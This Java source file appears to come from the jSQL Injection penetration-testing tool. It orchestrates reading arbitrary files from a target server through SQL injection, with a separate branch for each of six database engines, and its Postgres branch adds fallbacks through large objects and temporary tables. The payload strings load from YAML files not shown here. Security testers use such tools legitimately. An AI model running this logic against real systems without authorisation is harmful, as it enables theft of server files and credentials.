CallableFile.java
package com.jsql.model.accessible;
import com.jsql.model.InjectionModel;
import com.jsql.model.bean.database.MockElement;
import com.jsql.model.exception.InjectionFailureException;
import com.jsql.model.exception.LoopDetectedSlidingException;
import com.jsql.model.exception.StoppedByUserSlidingException;
import com.jsql.model.injection.vendor.model.VendorYaml;
import com.jsql.model.suspendable.SuspendableGetRows;
import com.jsql.util.LogLevelUtil;
import org.apache.commons.codec.binary.Hex;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.nio.charset.StandardCharsets;
import java.util.concurrent.Callable;
/**
* Thread unit to read source of a file by SQL injection.
* User can interrupt the process and get a partial result of the file content.
*/
public class CallableFile implements Callable<CallableFile> {
/**
* Log4j logger sent to view.
*/
private static final Logger LOGGER = LogManager.getRootLogger();
private static final String REQUIRE_STACK = "Read file requirement : stack query";
/**
* Path to the file to read.
*/
private final String pathFile;
/**
* Source of file.
*/
private String sourceFile = StringUtils.EMPTY;
/**
* Suspendable task that reads lines of the file by injection.
*/
private final SuspendableGetRows suspendableReadFile;
private final InjectionModel injectionModel;
/**
* Create Callable to read a file.
*/
public CallableFile(String pathFile, InjectionModel injectionModel) {
this.pathFile = pathFile;
this.injectionModel= injectionModel;
this.suspendableReadFile = new SuspendableGetRows(injectionModel);
}
/**
* Read a file on the server using SQL injection.
* Get partial result if user interrupts the process.
*/
@Override
public CallableFile call() throws Exception {
var sourcePage = new String[]{ StringUtils.EMPTY };
String resultToParse = StringUtils.EMPTY;
try {
if (this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getMysql()) {
LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : user FILE privilege");
resultToParse = this.suspendableReadFile.run(
this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getRead().replace(
VendorYaml.FILEPATH_HEX,
Hex.encodeHexString(this.pathFile.getBytes(StandardCharsets.UTF_8))
),
sourcePage,
false,
1,
MockElement.MOCK,
ResourceAccess.FILE_READ
);
} else if (this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getH2()) {
resultToParse = this.suspendableReadFile.run(
String.format(
this.injectionModel.getResourceAccess().getExploitH2().getModelYaml().getFile().getReadFromPath(),
this.pathFile
),
sourcePage,
false,
1,
MockElement.MOCK,
ResourceAccess.FILE_READ
);
} else if (this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getSqlite()) {
LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : extension fileio loaded");
resultToParse = this.suspendableReadFile.run(
String.format(
this.injectionModel.getResourceAccess().getExploitSqlite().getModelYaml().getExtension().getFileioRead(),
this.pathFile
),
sourcePage,
false,
1,
MockElement.MOCK,
ResourceAccess.FILE_READ
);
} else if (this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getDerby()) {
LOGGER.log(LogLevelUtil.CONSOLE_INFORM, CallableFile.REQUIRE_STACK);
var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
this.injectionModel.injectWithoutIndex(String.format(
this.injectionModel.getResourceAccess().getExploitDerby().getModelYaml().getFile().getCreateTable(),
nameTable,
nameTable, this.pathFile
), ResourceAccess.TBL_FILL);
resultToParse = this.suspendableReadFile.run(
String.format(
this.injectionModel.getResourceAccess().getExploitDerby().getModelYaml().getFile().getRead(),
nameTable
),
sourcePage,
true,
0,
MockElement.MOCK,
ResourceAccess.FILE_READ
);
} else if (this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getHsqldb()) {
LOGGER.log(LogLevelUtil.CONSOLE_INFORM, CallableFile.REQUIRE_STACK);
var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
this.injectionModel.injectWithoutIndex(String.format(
this.injectionModel.getResourceAccess().getExploitHsqldb().getModelYaml().getFile().getRead().getCreateTable(),
nameTable,
nameTable, this.pathFile
), ResourceAccess.TBL_FILL);
resultToParse = this.suspendableReadFile.run(
String.format(
this.injectionModel.getResourceAccess().getExploitHsqldb().getModelYaml().getFile().getRead().getResult(),
VendorYaml.TRAIL_SQL,
nameTable
),
sourcePage,
false,
1,
MockElement.MOCK,
ResourceAccess.TBL_READ
);
} else if (this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getPostgres()) {
try {
resultToParse = this.suspendableReadFile.run(
String.format(
this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromDataFolder(),
this.pathFile
),
sourcePage,
false,
1,
MockElement.MOCK,
ResourceAccess.FILE_READ
);
} catch (InjectionFailureException e) {
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read data folder failure, trying with large object");
var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getFromPath(),
this.pathFile
), ResourceAccess.ADD_LOID);
if (StringUtils.isNotEmpty(loid)) {
resultToParse = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getToText(),
loid
), ResourceAccess.READ_LOID);
}
if (StringUtils.isEmpty(resultToParse)) {
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read large object failure, trying with stack read");
var nameLibraryRandom = "tmp_" + RandomStringUtils.secure().nextAlphabetic(8); // no dash in table name
this.injectionModel.injectWithoutIndex(String.format(
this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getDrop(),
nameLibraryRandom
), ResourceAccess.TBL_DROP);
this.injectionModel.injectWithoutIndex(String.format(
this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getAdd(),
nameLibraryRandom
), ResourceAccess.TBL_CREATE);
this.injectionModel.injectWithoutIndex(String.format(
this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getFill(),
nameLibraryRandom,
this.pathFile
), ResourceAccess.TBL_FILL);
resultToParse = this.suspendableReadFile.run(
String.format(
this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromTempTable(),
nameLibraryRandom
),
sourcePage,
false,
1,
MockElement.MOCK,
ResourceAccess.TBL_READ
);
}
}
} else {
LOGGER.log(
LogLevelUtil.CONSOLE_DEFAULT,
"Read file not implemented for [{}], share a working example to GitHub to speed up release",
this.injectionModel.getMediatorVendor().getVendor()
);
}
} catch (InjectionFailureException e) {
// Usually thrown if File does not exist
LOGGER.log(LogLevelUtil.IGNORE, e);
} catch (LoopDetectedSlidingException | StoppedByUserSlidingException e) {
// Get partial source
if (StringUtils.isNotEmpty(e.getSlidingWindowAllRows())) {
resultToParse = e.getSlidingWindowAllRows();
} else if (StringUtils.isNotEmpty(e.getSlidingWindowCurrentRows())) {
resultToParse = e.getSlidingWindowCurrentRows();
}
LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e);
}
this.sourceFile = resultToParse;
return this;
}
// Getters
public String getPathFile() {
return this.pathFile;
}
public String getSourceFile() {
return this.sourceFile;
}
public SuspendableGetRows getSuspendableReadFile() {
return this.suspendableReadFile;
}
}